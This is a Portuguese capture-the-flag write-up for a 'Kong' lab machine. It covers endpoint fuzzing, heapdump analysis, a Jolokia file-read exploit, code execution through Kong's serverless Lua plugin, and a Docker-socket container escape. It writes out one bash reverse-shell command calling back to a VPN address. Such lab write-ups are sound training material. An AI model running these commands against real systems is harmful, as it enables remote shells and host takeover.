Escolar Documentos
Profissional Documentos
Cultura Documentos
Write-up kong
A melhor parte do Hacking Club é que ele é muito prático. Se você é novo em hacking, experimente.
Varredura nmap:
Como primeiro passo precisamos saber quais serviços estão sendo executados nos bastidores e quais portas estão abertas.
Então, vamos usar uma ferramenta chamada nmap.
Ports:
Porta 22 - SSH
Porta 80 - HTTP
Podemos começar dando uma olhada na aplicação web que está sendo executada na porta 80:
Write-Up Kong 1
Temos apenas uma mensagem dizendo a aplicação está sendo executado no modo de desenvolvedor.
Ao fazer uma requisição utilizando o curl para nos retornar apenas o response header, podemos identificar que se trata de um
Gateway de Api (Kong/2.0.4):
Podemos fazer um fuzzing nessa aplicação para podermos encontrar possíveis arquivos e diretórios relevantes, estarei
utilizando a wordlist spring-boot.txt da Seclists:
Pesquisando rapidamente por heapdump, vemos que se trata de um terminal que fornece um dump de heap da JVM do
aplicativo, com isso podemos ter informações valiosas, como informações operacionais sobre o aplicativo em execução,
variáveis de ambiente etc.
Write-Up Kong 2
Podemos notar que se trata de um arquivo com dados binários, podemos utilizar o comando strings combinando com o
comando grep para filtrar pela a string hackingclub:
Podemos acessar esse domínio/subdomínio, mas antes teremos que mapear o endereço IP com o nome de domínio,
adicionando uma linha no arquivo host, conforme ilustrado na imagem a seguir:
Ao acessar esse domínio, vemos que temos um Basic Auth, então precisaremos das credenciais para obtermos acesso:
Write-Up Kong 3
Pesquisando por exploits para podermos explorar o Jolokia, temos um de file read:
https://github.com/laluka/jolokia-exploitation-toolkit/blob/main/exploits/file-read-compilerdirectivesadd.md
Write-Up Kong 4
A partir daqui, precisaremos utilizar uma interface gráfica para podermos interagir com essa api, podemos utilizar o Konga,
uma ferramenta de código aberto que permite gerenciar seu Kong API Gateway com facilidade:
https://github.com/codeedu/apigateway-kong
https://www.youtube.com/watch?v=_2GRXgYswhI
Write-Up Kong 5
Teremos que acessar o container para mapear o endereço IP com o nome de domínio, adicionando uma linha no arquivo
host, conforme ilustrado na imagem a seguir
Write-Up Kong 6
Depois de estarmos logado, precisamos realizar o processo de conexão utilizando o Basic Auth:
Write-Up Kong 7
Serverless Functions plugin | Kong Docs
Dynamically run Lua code from Kong. The Serverless Functions plugin comes as two separate plugins.
Each one runs with a different priority in the plugin chain. pre-function Runs before other plugins run during
each phase. The pre-function plugin can be applied to individual services, routes, or globally.
https://docs.konghq.com/hub/kong-inc/serverless-functions/
Write-Up Kong 8
os.execute([[bash -c 'sh -i >& /dev/tcp/<ip-vpn>/443 0>&1' &]])
Após executarmos o linpeas, conseguimos notar que o soquete do docker está montado dentro do contêiner docker, com
isso consigueremos escapar do mesmo:
Write-Up Kong 9
Podemos nos comunicar com o docker utilizando o docker.sock, com isso consigueremos criar um container e montaremos o
sistema de arquivos do host principal dentro dele:
Como o nosso container não tem a ferramenta curl , precisaremos enviá-la ao servidor:
https://github.com/moparisthebest/static-curl/releases/download/v7.87.0/curl-amd64
Write-Up Kong 10
Criaremos o nosso container especificando a imagem kong-spring, e montaremos o sistema de arquivos do host principal
dentro dele:
Podemos especificar um comando para ser executado, estaremos passando uma reverse shell em bash:
Write-Up Kong 11
Agora precisaremos executar o comando que foi criado:
E recebemos a shell:
A partir daqui, basta acessarmos o diretório /hostfs/root e pegaremos a nossa última flag:
Write-Up Kong 12